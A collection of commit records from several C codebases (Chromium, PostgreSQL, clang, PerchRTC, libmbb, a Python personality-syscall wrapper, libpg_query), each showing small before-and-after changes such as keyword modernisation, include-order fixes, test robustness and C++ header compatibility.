{"commit":"aec97a07b46188ed7ec61600c6068045a18fe142","old_file":"content\/browser\/geofencing\/geofencing_dispatcher_host.h","new_file":"content\/browser\/geofencing\/geofencing_dispatcher_host.h","old_contents":"\/\/ Copyright 2014 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CONTENT_BROWSER_GEOFENCING_GEOFENCING_DISPATCHER_HOST_H_\n#define CONTENT_BROWSER_GEOFENCING_GEOFENCING_DISPATCHER_HOST_H_\n\n#include \"content\/public\/browser\/browser_message_filter.h\"\n\nnamespace blink {\nstruct WebCircularGeofencingRegion;\n}\n\nnamespace content {\n\nclass GeofencingDispatcherHost : public BrowserMessageFilter {\n public:\n  GeofencingDispatcherHost();\n\n private:\n  virtual ~GeofencingDispatcherHost();\n\n  \/\/ BrowserMessageFilter implementation.\n  virtual bool OnMessageReceived(const IPC::Message& message) OVERRIDE;\n\n  void OnRegisterRegion(int thread_id,\n                        int request_id,\n                        const std::string& region_id,\n                        const blink::WebCircularGeofencingRegion& region);\n  void OnUnregisterRegion(int thread_id,\n                          int request_id,\n                          const std::string& region_id);\n  void OnGetRegisteredRegions(int thread_id, int request_id);\n\n  DISALLOW_COPY_AND_ASSIGN(GeofencingDispatcherHost);\n};\n\n}  \/\/ namespace content\n\n#endif  \/\/ CONTENT_BROWSER_GEOFENCING_GEOFENCING_DISPATCHER_HOST_H_\n","new_contents":"\/\/ Copyright 2014 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CONTENT_BROWSER_GEOFENCING_GEOFENCING_DISPATCHER_HOST_H_\n#define CONTENT_BROWSER_GEOFENCING_GEOFENCING_DISPATCHER_HOST_H_\n\n#include \"content\/public\/browser\/browser_message_filter.h\"\n\nnamespace blink {\nstruct WebCircularGeofencingRegion;\n}\n\nnamespace content {\n\nclass GeofencingDispatcherHost : public BrowserMessageFilter {\n public:\n  GeofencingDispatcherHost();\n\n private:\n  virtual ~GeofencingDispatcherHost();\n\n  \/\/ BrowserMessageFilter implementation.\n  virtual bool OnMessageReceived(const IPC::Message& message) override;\n\n  void OnRegisterRegion(int thread_id,\n                        int request_id,\n                        const std::string& region_id,\n                        const blink::WebCircularGeofencingRegion& region);\n  void OnUnregisterRegion(int thread_id,\n                          int request_id,\n                          const std::string& region_id);\n  void OnGetRegisteredRegions(int thread_id, int request_id);\n\n  DISALLOW_COPY_AND_ASSIGN(GeofencingDispatcherHost);\n};\n\n}  \/\/ namespace content\n\n#endif  \/\/ CONTENT_BROWSER_GEOFENCING_GEOFENCING_DISPATCHER_HOST_H_\n","subject":"Replace OVERRIDE and FINAL with override and final in content\/browser\/geofencing\/[a-s]*","message":"Replace OVERRIDE and FINAL with override and final in content\/browser\/geofencing\/[a-s]*\n\nBUG=417463\n\nReview URL: https:\/\/codereview.chromium.org\/631873002\n\nCr-Commit-Position: 972c6d2dc6dd5efdad1377c0d224e03eb8f276f7@{#298382}\n","lang":"C","license":"bsd-3-clause","repos":"PeterWangIntel\/chromium-crosswalk,Chilledheart\/chromium,axinging\/chromium-crosswalk,markYoungH\/chromium.src,axinging\/chromium-crosswalk,dushu1203\/chromium.src,hgl888\/chromium-crosswalk,markYoungH\/chromium.src,dushu1203\/chromium.src,markYoungH\/chromium.src,ltilve\/chromium,krieger-od\/nwjs_chromium.src,krieger-od\/nwjs_chromium.src,jaruba\/chromium.src,TheTypoMaster\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,dushu1203\/chromium.src,Pluto-tv\/chromium-crosswalk,chuan9\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,hgl888\/chromium-crosswalk,Just-D\/chromium-1,M4sse\/chromium.src,ltilve\/chromium,jaruba\/chromium.src,krieger-od\/nwjs_chromium.src,axinging\/chromium-crosswalk,chuan9\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,PeterWangIntel\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,chuan9\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,axinging\/chromium-crosswalk,Just-D\/chromium-1,Pluto-tv\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,Just-D\/chromium-1,krieger-od\/nwjs_chromium.src,jaruba\/chromium.src,ltilve\/chromium,dushu1203\/chromium.src,ltilve\/chromium,Jonekee\/chromium.src,M4sse\/chromium.src,TheTypoMaster\/chromium-crosswalk,markYoungH\/chromium.src,TheTypoMaster\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,Jonekee\/chromium.src,axinging\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,Just-D\/chromium-1,markYoungH\/chromium.src,dednal\/chromium.src,dushu1203\/chromium.src,dednal\/chromium.src,Just-D\/chromium-1,markYoungH\/chromium.src,Jonekee\/chromium.src,dushu1203\/chromium.src,ltilve\/chromium,Fireblend\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,dednal\/chromium.src,Pluto-tv\/chromium-crosswalk,fujunwei\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,jaruba\/chromium.src,TheTypoMaster\/chromium-crosswalk,dushu1203\/chromium.src,mohamed--abdel-maksoud\/chromium.src,TheTypoMaster\/chromium-crosswalk,M4sse\/chromium.src,dednal\/chromium.src,PeterWangIntel\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,Jonekee\/chromium.src,jaruba\/chromium.src,jaruba\/chromium.src,M4sse\/chromium.src,Just-D\/chromium-1,dushu1203\/chromium.src,jaruba\/chromium.src,Pluto-tv\/chromium-crosswalk,markYoungH\/chromium.src,M4sse\/chromium.src,chuan9\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,dednal\/chromium.src,mohamed--abdel-maksoud\/chromium.src,Chilledheart\/chromium,Fireblend\/chromium-crosswalk,M4sse\/chromium.src,dednal\/chromium.src,chuan9\/chromium-crosswalk,dednal\/chromium.src,markYoungH\/chromium.src,markYoungH\/chromium.src,chuan9\/chromium-crosswalk,fujunwei\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,Chilledheart\/chromium,hgl888\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,Fireblend\/chromium-crosswalk,ltilve\/chromium,chuan9\/chromium-crosswalk,Fireblend\/chromium-crosswalk,Jonekee\/chromium.src,dednal\/chromium.src,hgl888\/chromium-crosswalk,Chilledheart\/chromium,Pluto-tv\/chromium-crosswalk,ltilve\/chromium,chuan9\/chromium-crosswalk,Chilledheart\/chromium,PeterWangIntel\/chromium-crosswalk,Fireblend\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,Chilledheart\/chromium,axinging\/chromium-crosswalk,axinging\/chromium-crosswalk,Chilledheart\/chromium,Pluto-tv\/chromium-crosswalk,hgl888\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,hgl888\/chromium-crosswalk,dednal\/chromium.src,axinging\/chromium-crosswalk,dushu1203\/chromium.src,krieger-od\/nwjs_chromium.src,Just-D\/chromium-1,M4sse\/chromium.src,krieger-od\/nwjs_chromium.src,axinging\/chromium-crosswalk,fujunwei\/chromium-crosswalk,Jonekee\/chromium.src,jaruba\/chromium.src,jaruba\/chromium.src,Fireblend\/chromium-crosswalk,fujunwei\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,Fireblend\/chromium-crosswalk,hgl888\/chromium-crosswalk,markYoungH\/chromium.src,Jonekee\/chromium.src,markYoungH\/chromium.src,axinging\/chromium-crosswalk,Jonekee\/chromium.src,mohamed--abdel-maksoud\/chromium.src,Chilledheart\/chromium,M4sse\/chromium.src,dushu1203\/chromium.src,Just-D\/chromium-1,dednal\/chromium.src,hgl888\/chromium-crosswalk,fujunwei\/chromium-crosswalk,ltilve\/chromium,ltilve\/chromium,jaruba\/chromium.src,chuan9\/chromium-crosswalk,Just-D\/chromium-1,krieger-od\/nwjs_chromium.src,M4sse\/chromium.src,Jonekee\/chromium.src,dednal\/chromium.src,Jonekee\/chromium.src,jaruba\/chromium.src,Fireblend\/chromium-crosswalk,Chilledheart\/chromium,fujunwei\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,M4sse\/chromium.src,krieger-od\/nwjs_chromium.src,PeterWangIntel\/chromium-crosswalk,hgl888\/chromium-crosswalk,Fireblend\/chromium-crosswalk,fujunwei\/chromium-crosswalk,Jonekee\/chromium.src,Pluto-tv\/chromium-crosswalk,axinging\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,dushu1203\/chromium.src,fujunwei\/chromium-crosswalk,M4sse\/chromium.src,fujunwei\/chromium-crosswalk"}
{"commit":"41d9897e9b98ca7a699a241fe35fee66a4c488da","old_file":"tests\/test_hsm.c","new_file":"tests\/test_hsm.c","old_contents":"","new_contents":"#include \"mbb\/test.h\"\n#include \"mbb\/hsm.h\"\n#include \"mbb\/debug.h\"\n\nMHSM_DEFINE_STATE(state_a, NULL);\nMHSM_DEFINE_STATE(state_a1, &state_a);\nMHSM_DEFINE_STATE(state_a11, &state_a1);\n\nmhsm_state_t *state_a_fun(mhsm_hsm_t *hsm, mhsm_event_t event)\n{\n\tswitch (event.id) {\n\t\tcase MHSM_EVENT_INITIAL:\n\t\t\treturn &state_a1;\n\t}\n\n\treturn &state_a;\n}\n\nmhsm_state_t *state_a1_fun(mhsm_hsm_t *hsm, mhsm_event_t event)\n{\n\tswitch (event.id) {\n\t\tcase MHSM_EVENT_INITIAL:\n\t\t\treturn &state_a11;\n\t}\n\n\treturn &state_a1;\n}\n\nmhsm_state_t *state_a11_fun(mhsm_hsm_t *hsm, mhsm_event_t event)\n{\n\tswitch (event.id) {\n\t\tcase MHSM_EVENT_ENTRY:\n\t\t\tMDBG_PRINT_LN(\"a11 entry\");\n\t\t\tbreak;\n\t}\n\n\treturn &state_a11;\n}\n\nchar *test_initial_transition()\n{\n\tmhsm_hsm_t hsm;\n\n\tmhsm_initialise(&hsm, NULL, &state_a);\n\tmhsm_dispatch_event(&hsm, MHSM_EVENT_INITIAL);\n\n\tMUNT_ASSERT(mhsm_current_state(&hsm) == &state_a11);\n\n\treturn 0;\n}\n","subject":"Add first stub for HSM unit test","message":"Add first stub for HSM unit test\n","lang":"C","license":"mit","repos":"jawebada\/libmbb,jawebada\/libmbb,jawebada\/libmbb,jawebada\/libmbb"}
{"commit":"04eb41980945926927e8dd22b420182ab7a47bc2","old_file":"src\/interfaces\/libpq\/pqsignal.c","new_file":"src\/interfaces\/libpq\/pqsignal.c","old_contents":"\/*-------------------------------------------------------------------------\n *\n * pqsignal.c\n *\t  reliable BSD-style signal(2) routine stolen from RWW who stole it\n *\t  from Stevens...\n *\n * Portions Copyright (c) 1996-2002, PostgreSQL Global Development Group\n * Portions Copyright (c) 1994, Regents of the University of California\n *\n *\n * IDENTIFICATION\n *\t  $Header: \/cvsroot\/pgsql\/src\/interfaces\/libpq\/pqsignal.c,v 1.15 2002\/06\/20 20:29:54 momjian Exp $\n *\n * NOTES\n *\t\tThis shouldn't be in libpq, but the monitor and some other\n *\t\tthings need it...\n *\n *-------------------------------------------------------------------------\n *\/\n#include <stdlib.h>\n#include <signal.h>\n\n#include \"pqsignal.h\"\n\npqsigfunc\npqsignal(int signo, pqsigfunc func)\n{\n#if !defined(HAVE_POSIX_SIGNALS)\n\treturn signal(signo, func);\n#else\n\tstruct sigaction act,\n\t\t\t\toact;\n\n\tact.sa_handler = func;\n\tsigemptyset(&act.sa_mask);\n\tact.sa_flags = 0;\n\tif (signo != SIGALRM)\n\t\tact.sa_flags |= SA_RESTART;\n\tif (sigaction(signo, &act, &oact) < 0)\n\t\treturn SIG_ERR;\n\treturn oact.sa_handler;\n#endif   \/* !HAVE_POSIX_SIGNALS *\/\n}\n","new_contents":"\/*-------------------------------------------------------------------------\n *\n * pqsignal.c\n *\t  reliable BSD-style signal(2) routine stolen from RWW who stole it\n *\t  from Stevens...\n *\n * Portions Copyright (c) 1996-2002, PostgreSQL Global Development Group\n * Portions Copyright (c) 1994, Regents of the University of California\n *\n *\n * IDENTIFICATION\n *\t  $Header: \/cvsroot\/pgsql\/src\/interfaces\/libpq\/pqsignal.c,v 1.16 2002\/11\/04 14:27:21 tgl Exp $\n *\n * NOTES\n *\t\tThis shouldn't be in libpq, but the monitor and some other\n *\t\tthings need it...\n *\n *-------------------------------------------------------------------------\n *\/\n#include \"pqsignal.h\"\n\n#include <signal.h>\n\npqsigfunc\npqsignal(int signo, pqsigfunc func)\n{\n#if !defined(HAVE_POSIX_SIGNALS)\n\treturn signal(signo, func);\n#else\n\tstruct sigaction act,\n\t\t\t\toact;\n\n\tact.sa_handler = func;\n\tsigemptyset(&act.sa_mask);\n\tact.sa_flags = 0;\n\tif (signo != SIGALRM)\n\t\tact.sa_flags |= SA_RESTART;\n\tif (sigaction(signo, &act, &oact) < 0)\n\t\treturn SIG_ERR;\n\treturn oact.sa_handler;\n#endif   \/* !HAVE_POSIX_SIGNALS *\/\n}\n","subject":"Fix inclusion order, per Andreas.","message":"Fix inclusion order, per Andreas.\n","lang":"C","license":"apache-2.0","repos":"ahachete\/gpdb,lintzc\/gpdb,janebeckman\/gpdb,zaksoup\/gpdb,CraigHarris\/gpdb,Quikling\/gpdb,kaknikhil\/gpdb,kmjungersen\/PostgresXL,jmcatamney\/gpdb,rubikloud\/gpdb,rvs\/gpdb,ovr\/postgres-xl,greenplum-db\/gpdb,kaknikhil\/gpdb,randomtask1155\/gpdb,randomtask1155\/gpdb,techdragon\/Postgres-XL,rvs\/gpdb,Quikling\/gpdb,50wu\/gpdb,ahachete\/gpdb,snaga\/postgres-xl,postmind-net\/postgres-xl,xinzweb\/gpdb,rubikloud\/gpdb,xuegang\/gpdb,greenplum-db\/gpdb,cjcjameson\/gpdb,tangp3\/gpdb,Postgres-XL\/Postgres-XL,foyzur\/gpdb,xinzweb\/gpdb,yuanzhao\/gpdb,yazun\/postgres-xl,Quikling\/gpdb,atris\/gpdb,yazun\/postgres-xl,lintzc\/gpdb,xuegang\/gpdb,janebeckman\/gpdb,cjcjameson\/gpdb,CraigHarris\/gpdb,Chibin\/gpdb,cjcjameson\/gpdb,arcivanov\/postgres-xl,greenplum-db\/gpdb,Chibin\/gpdb,adam8157\/gpdb,edespino\/gpdb,greenplum-db\/gpdb,lpetrov-pivotal\/gpdb,chrishajas\/gpdb,randomtask1155\/gpdb,50wu\/gpdb,cjcjameson\/gpdb,rubikloud\/gpdb,lintzc\/gpdb,greenplum-db\/gpdb,kmjungersen\/PostgresXL,yuanzhao\/gpdb,lisakowen\/gpdb,foyzur\/gpdb,Postgres-XL\/Postgres-XL,atris\/gpdb,ovr\/postgres-xl,rvs\/gpdb,greenplum-db\/gpdb,snaga\/postgres-xl,kaknikhil\/gpdb,arcivanov\/postgres-xl,0x0FFF\/gpdb,royc1\/gpdb,kmjungersen\/PostgresXL,yazun\/postgres-xl,postmind-net\/postgres-xl,cjcjameson\/gpdb,0x0FFF\/gpdb,xuegang\/gpdb,kaknikhil\/gpdb,ahachete\/gpdb,janebeckman\/gpdb,ahachete\/gpdb,royc1\/gpdb,xinzweb\/gpdb,techdragon\/Postgres-XL,kaknikhil\/gpdb,yuanzhao\/gpdb,cjcjameson\/gpdb,xuegang\/gpdb,Chibin\/gpdb,Chibin\/gpdb,lintzc\/gpdb,tpostgres-projects\/tPostgres,tangp3\/gpdb,pavanvd\/postgres-xl,ashwinstar\/gpdb,techdragon\/Postgres-XL,tangp3\/gpdb,chrishajas\/gpdb,zaksoup\/gpdb,jmcatamney\/gpdb,postmind-net\/postgres-xl,Chibin\/gpdb,foyzur\/gpdb,xuegang\/gpdb,tangp3\/gpdb,techdragon\/Postgres-XL,jmcatamney\/gpdb,pavanvd\/postgres-xl,tpostgres-projects\/tPostgres,ahachete\/gpdb,xinzweb\/gpdb,tangp3\/gpdb,zaksoup\/gpdb,CraigHarris\/gpdb,jmcatamney\/gpdb,foyzur\/gpdb,ahachete\/gpdb,kmjungersen\/PostgresXL,zeroae\/postgres-xl,arcivanov\/postgres-xl,Quikling\/gpdb,yuanzhao\/gpdb,tangp3\/gpdb,snaga\/postgres-xl,atris\/gpdb,ashwinstar\/gpdb,CraigHarris\/gpdb,rvs\/gpdb,chrishajas\/gpdb,janebeckman\/gpdb,CraigHarris\/gpdb,Quikling\/gpdb,lisakowen\/gpdb,adam8157\/gpdb,atris\/gpdb,0x0FFF\/gpdb,ahachete\/gpdb,lintzc\/gpdb,50wu\/gpdb,jmcatamney\/gpdb,lpetrov-pivotal\/gpdb,50wu\/gpdb,zeroae\/postgres-xl,yuanzhao\/gpdb,chrishajas\/gpdb,jmcatamney\/gpdb,atris\/gpdb,rubikloud\/gpdb,royc1\/gpdb,tangp3\/gpdb,Quikling\/gpdb,Chibin\/gpdb,adam8157\/gpdb,ashwinstar\/gpdb,oberstet\/postgres-xl,xuegang\/gpdb,ashwinstar\/gpdb,xuegang\/gpdb,xinzweb\/gpdb,royc1\/gpdb,tpostgres-projects\/tPostgres,yuanzhao\/gpdb,adam8157\/gpdb,atris\/gpdb,edespino\/gpdb,randomtask1155\/gpdb,cjcjameson\/gpdb,randomtask1155\/gpdb,greenplum-db\/gpdb,cjcjameson\/gpdb,oberstet\/postgres-xl,randomtask1155\/gpdb,edespino\/gpdb,chrishajas\/gpdb,kaknikhil\/gpdb,royc1\/gpdb,yuanzhao\/gpdb,rvs\/gpdb,0x0FFF\/gpdb,edespino\/gpdb,janebeckman\/gpdb,adam8157\/gpdb,rvs\/gpdb,CraigHarris\/gpdb,janebeckman\/gpdb,randomtask1155\/gpdb,janebeckman\/gpdb,50wu\/gpdb,yuanzhao\/gpdb,oberstet\/postgres-xl,arcivanov\/postgres-xl,Quikling\/gpdb,lisakowen\/gpdb,jmcatamney\/gpdb,chrishajas\/gpdb,xuegang\/gpdb,foyzur\/gpdb,Chibin\/gpdb,snaga\/postgres-xl,Chibin\/gpdb,tpostgres-projects\/tPostgres,CraigHarris\/gpdb,0x0FFF\/gpdb,adam8157\/gpdb,chrishajas\/gpdb,rubikloud\/gpdb,Postgres-XL\/Postgres-XL,cjcjameson\/gpdb,kaknikhil\/gpdb,Chibin\/gpdb,lpetrov-pivotal\/gpdb,ovr\/postgres-xl,xinzweb\/gpdb,lisakowen\/gpdb,rvs\/gpdb,royc1\/gpdb,janebeckman\/gpdb,xinzweb\/gpdb,adam8157\/gpdb,yuanzhao\/gpdb,edespino\/gpdb,arcivanov\/postgres-xl,0x0FFF\/gpdb,lisakowen\/gpdb,royc1\/gpdb,CraigHarris\/gpdb,adam8157\/gpdb,chrishajas\/gpdb,pavanvd\/postgres-xl,rubikloud\/gpdb,CraigHarris\/gpdb,yuanzhao\/gpdb,lintzc\/gpdb,Chibin\/gpdb,lintzc\/gpdb,zeroae\/postgres-xl,Postgres-XL\/Postgres-XL,atris\/gpdb,tangp3\/gpdb,oberstet\/postgres-xl,lpetrov-pivotal\/gpdb,zaksoup\/gpdb,atris\/gpdb,zaksoup\/gpdb,rvs\/gpdb,zaksoup\/gpdb,lisakowen\/gpdb,xinzweb\/gpdb,arcivanov\/postgres-xl,lpetrov-pivotal\/gpdb,oberstet\/postgres-xl,xuegang\/gpdb,foyzur\/gpdb,50wu\/gpdb,techdragon\/Postgres-XL,0x0FFF\/gpdb,ashwinstar\/gpdb,foyzur\/gpdb,rubikloud\/gpdb,ashwinstar\/gpdb,snaga\/postgres-xl,lintzc\/gpdb,lisakowen\/gpdb,randomtask1155\/gpdb,pavanvd\/postgres-xl,pavanvd\/postgres-xl,rvs\/gpdb,Quikling\/gpdb,edespino\/gpdb,zaksoup\/gpdb,edespino\/gpdb,ahachete\/gpdb,zeroae\/postgres-xl,edespino\/gpdb,Quikling\/gpdb,foyzur\/gpdb,ovr\/postgres-xl,edespino\/gpdb,50wu\/gpdb,kaknikhil\/gpdb,lisakowen\/gpdb,ashwinstar\/gpdb,janebeckman\/gpdb,jmcatamney\/gpdb,janebeckman\/gpdb,50wu\/gpdb,royc1\/gpdb,rvs\/gpdb,Quikling\/gpdb,lpetrov-pivotal\/gpdb,kmjungersen\/PostgresXL,edespino\/gpdb,Postgres-XL\/Postgres-XL,lpetrov-pivotal\/gpdb,tpostgres-projects\/tPostgres,kaknikhil\/gpdb,zeroae\/postgres-xl,ashwinstar\/gpdb,greenplum-db\/gpdb,ovr\/postgres-xl,zaksoup\/gpdb,lintzc\/gpdb,cjcjameson\/gpdb,postmind-net\/postgres-xl,lpetrov-pivotal\/gpdb,kaknikhil\/gpdb,postmind-net\/postgres-xl,rubikloud\/gpdb,yazun\/postgres-xl,0x0FFF\/gpdb,yazun\/postgres-xl"}
{"commit":"d51affbc2c78f4370fd73ba3d83b8f129289c9e8","old_file":"PerchRTC\/PHCredentials.h","new_file":"PerchRTC\/PHCredentials.h","old_contents":"\/\/\n\/\/  PHCredentials.h\n\/\/  PerchRTC\n\/\/\n\/\/  Created by Sam Symons on 2015-05-08.\n\/\/  Copyright (c) 2015 Perch Communications. All rights reserved.\n\/\/\n\n#ifndef PerchRTC_PHCredentials_h\n#define PerchRTC_PHCredentials_h\n\n#error Please enter your XirSys credentials (http:\/\/xirsys.com\/pricing\/)\n\nstatic NSString *kPHConnectionManagerDomain = @\"\";\nstatic NSString *kPHConnectionManagerApplication = @\"\";\nstatic NSString *kPHConnectionManagerXSUsername = @\"\";\nstatic NSString *kPHConnectionManagerXSSecretKey = @\"\";\n\n#ifdef DEBUG\nstatic NSString *kPHConnectionManagerDefaultRoomName = @\"\";\n#else\nstatic NSString *kPHConnectionManagerDefaultRoomName = @\"\";\n#endif\n\n#endif\n","new_contents":"\/\/\n\/\/  PHCredentials.h\n\/\/  PerchRTC\n\/\/\n\/\/  Created by Sam Symons on 2015-05-08.\n\/\/  Copyright (c) 2015 Perch Communications. All rights reserved.\n\/\/\n\n#ifndef PerchRTC_PHCredentials_h\n#define PerchRTC_PHCredentials_h\n\n#error Please enter your XirSys credentials (http:\/\/xirsys.com\/pricing\/)\n\nstatic NSString *kPHConnectionManagerDomain = @\"\";\nstatic NSString *kPHConnectionManagerApplication = @\"default\";\nstatic NSString *kPHConnectionManagerXSUsername = @\"\";\nstatic NSString *kPHConnectionManagerXSSecretKey = @\"\";\n\n#ifdef DEBUG\nstatic NSString *kPHConnectionManagerDefaultRoomName = @\"default\";\n#else\nstatic NSString *kPHConnectionManagerDefaultRoomName = @\"default\";\n#endif\n\n#endif\n","subject":"Use the XirSys defaults for room and application.","message":"Use the XirSys defaults for room and application.\n","lang":"C","license":"mit","repos":"imton\/perchrtc,duk42111\/perchrtc,duk42111\/perchrtc,perchco\/perchrtc,imton\/perchrtc,perchco\/perchrtc,ikonst\/perchrtc,ikonst\/perchrtc,duk42111\/perchrtc,ikonst\/perchrtc,ikonst\/perchrtc,perchco\/perchrtc,duk42111\/perchrtc,imton\/perchrtc"}
{"commit":"71a069a6ebdaea8a2881b5f2837a0e75dcd74351","old_file":"test\/Index\/missing_vfs.c","new_file":"test\/Index\/missing_vfs.c","old_contents":"\/\/ RUN: c-index-test -test-load-source local %s -ivfsoverlay %t\/does-not-exist.yaml &> %t.out\n\/\/ RUN: FileCheck -check-prefix=STDERR %s < %t.out\n\/\/ STDERR: fatal error: virtual filesystem overlay file '{{.*}}' not found\n\/\/ RUN: FileCheck %s < %t.out\n\/\/ CHECK: missing_vfs.c:[[@LINE+1]]:6: FunctionDecl=foo:[[@LINE+1]]:6\nvoid foo(void);\n","new_contents":"\/\/ RUN: c-index-test -test-load-source local %s -ivfsoverlay %t\/does-not-exist.yaml > %t.stdout 2> %t.stderr\n\/\/ RUN: FileCheck -check-prefix=STDERR %s < %t.stderr\n\/\/ STDERR: fatal error: virtual filesystem overlay file '{{.*}}' not found\n\/\/ RUN: FileCheck %s < %t.stdout\n\/\/ CHECK: missing_vfs.c:[[@LINE+1]]:6: FunctionDecl=foo:[[@LINE+1]]:6\nvoid foo(void);\n","subject":"Make test more robust by writing stdout\/stderr to different files.","message":"Make test more robust by writing stdout\/stderr to different files.\n\nOur internal build bots were failing this test randomly as the stderr\noutput was emitted to the file in the middle of the stdout output\nline that the test was checking.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@359512 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"661cc5ce55d7eaed4d6b268ffb3be8a19c02fde3","old_file":"pypersonality.c","new_file":"pypersonality.c","old_contents":"#include <Python.h>\n#include <sys\/personality.h>\n\nint Cget_personality(void) {\n\tunsigned long int persona = 0xffffffff;\n\treturn personality(persona);\n}\n\nstatic PyObject* get_personality(PyObject* self) {\n\treturn Py_BuildValue(\"i\", Cget_personality);\n}\n\nint Cset_personality(void) {\n\tunsigned long int persona = READ_IMPLIES_EXEC;\n\treturn personality(persona);\n}\n\nstatic PyObject* set_personality(PyObject* self) {\n\treturn Py_BuildValue(\"i\", Cset_personality);\n}\n\nstatic PyMethodDef personality_methods[] = {\n\t{\"get_personality\", (PyCFunction)get_personality, METH_NOARGS, \"Returns the personality value\"},\n\t{\"set_personality\", (PyCFunction)set_personality, METH_NOARGS, \"Sets the personality value\"},\n\t\/*\t{\"version\", (PyCFunction)version, METH_NOARGS, \"Returns the version number\"}, *\/\n\t{NULL, NULL, 0, NULL}\n};\n\nstatic struct PyModuleDef pypersonality = {\n\tPyModuleDef_HEAD_INIT,\n\t\"personality\",\n\t\"Module to manipulate process execution domain\",\n\t-1,\n\tpersonality_methods\n};\n\n\nPyMODINIT_FUNC PyInit_pypersonality(void) {\n\treturn PyModule_Create(&pypersonality);\n}\n\n","new_contents":"#include <Python.h>\n#include <sys\/personality.h>\n#include <stdint.h>\n\nint Cget_personality(void) {\n\tunsigned long persona = 0xffffffffUL;\n\treturn personality(persona);\n}\n\nstatic PyObject* get_personality(PyObject* self) {\n\treturn Py_BuildValue(\"i\", Cget_personality());\n}\n\nint Cset_personality(unsigned long persona) {\n\treturn personality(persona);\n}\n\nstatic PyObject* set_personality(PyObject* self, PyObject *args) {\n\tunsigned long persona = READ_IMPLIES_EXEC;\n\t\n\t\/\/Py_Args_ParseTuple(args, \"i\", &persona);\n\treturn Py_BuildValue(\"i\", Cset_personality(persona));\n}\n\nstatic PyMethodDef personality_methods[] = {\n\t{\"get_personality\", (PyCFunction)get_personality, METH_NOARGS, \"Returns the personality value\"},\n\t{\"set_personality\", (PyCFunction)set_personality, METH_NOARGS, \"Sets the personality value\"},\n\t\/*\t{\"version\", (PyCFunction)version, METH_NOARGS, \"Returns the version number\"}, *\/\n\t{NULL, NULL, 0, NULL}\n};\n\nstatic struct PyModuleDef pypersonality = {\n\tPyModuleDef_HEAD_INIT,\n\t\"personality\",\n\t\"Module to manipulate process execution domain\",\n\t-1,\n\tpersonality_methods\n};\n\n\nPyMODINIT_FUNC PyInit_pypersonality(void) {\n\treturn PyModule_Create(&pypersonality);\n}\n\n","subject":"Call the c functions instead of passing a pointer","message":"Call the c functions instead of passing a pointer\n","lang":"C","license":"mit","repos":"PatrickLaban\/PythonPersonality,PatrickLaban\/PythonPersonality"}
{"commit":"5082189fd353102daac5fa40779f91e8974ba8f8","old_file":"pg_query.h","new_file":"pg_query.h","old_contents":"#ifndef PG_QUERY_H\n#define PG_QUERY_H\n\ntypedef struct {\n\tchar* message; \/\/ exception message\n\tchar* filename; \/\/ source of exception (e.g. parse.l)\n\tint lineno; \/\/ source of exception (e.g. 104)\n\tint cursorpos; \/\/ char in query at which exception occurred\n} PgQueryError;\n\ntypedef struct {\n  char* parse_tree;\n  char* stderr_buffer;\n  PgQueryError* error;\n} PgQueryParseResult;\n\ntypedef struct {\n  char* normalized_query;\n  PgQueryError* error;\n} PgQueryNormalizeResult;\n\nvoid pg_query_init(void);\nPgQueryNormalizeResult pg_query_normalize(char* input);\nPgQueryParseResult pg_query_parse(char* input);\n\n#endif\n","new_contents":"#ifndef PG_QUERY_H\n#define PG_QUERY_H\n\ntypedef struct {\n\tchar* message; \/\/ exception message\n\tchar* filename; \/\/ source of exception (e.g. parse.l)\n\tint lineno; \/\/ source of exception (e.g. 104)\n\tint cursorpos; \/\/ char in query at which exception occurred\n} PgQueryError;\n\ntypedef struct {\n  char* parse_tree;\n  char* stderr_buffer;\n  PgQueryError* error;\n} PgQueryParseResult;\n\ntypedef struct {\n  char* normalized_query;\n  PgQueryError* error;\n} PgQueryNormalizeResult;\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nvoid pg_query_init(void);\nPgQueryNormalizeResult pg_query_normalize(char* input);\nPgQueryParseResult pg_query_parse(char* input);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n","subject":"Make header file compatible with C++","message":"Make header file compatible with C++\n","lang":"C","license":"bsd-3-clause","repos":"lfittl\/libpg_query,lfittl\/libpg_query,ranxian\/peloton-frontend,ranxian\/peloton-frontend,ranxian\/peloton-frontend,ranxian\/peloton-frontend,lfittl\/libpg_query,ranxian\/peloton-frontend"}
